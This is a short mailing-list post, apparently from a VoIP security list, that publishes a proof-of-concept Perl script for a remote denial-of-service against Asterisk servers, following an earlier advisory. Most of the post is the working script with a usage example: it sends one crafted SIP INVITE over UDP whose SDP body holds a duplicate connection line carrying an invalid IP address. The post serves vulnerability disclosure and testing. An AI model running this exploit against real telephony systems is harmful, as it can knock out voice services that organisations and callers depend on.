[VOIPSEC] POC: for Asterisk SIP INVITE remote DOS

[Radu State]

Due to many requests for the POC and since most Asterisk systems should have
been patched by now,   please find in this message the POc for our advisory
posted on 

 

http://voipsa.org/pipermail/voipsec_voipsa.org/2007-March/002275.html

 

usage  example:

 

perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

 

 

 

 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless
($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP
$ARGV[3]:$ARGV[4];branch=01;rport\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type:
application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length:
187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN
IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3
8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);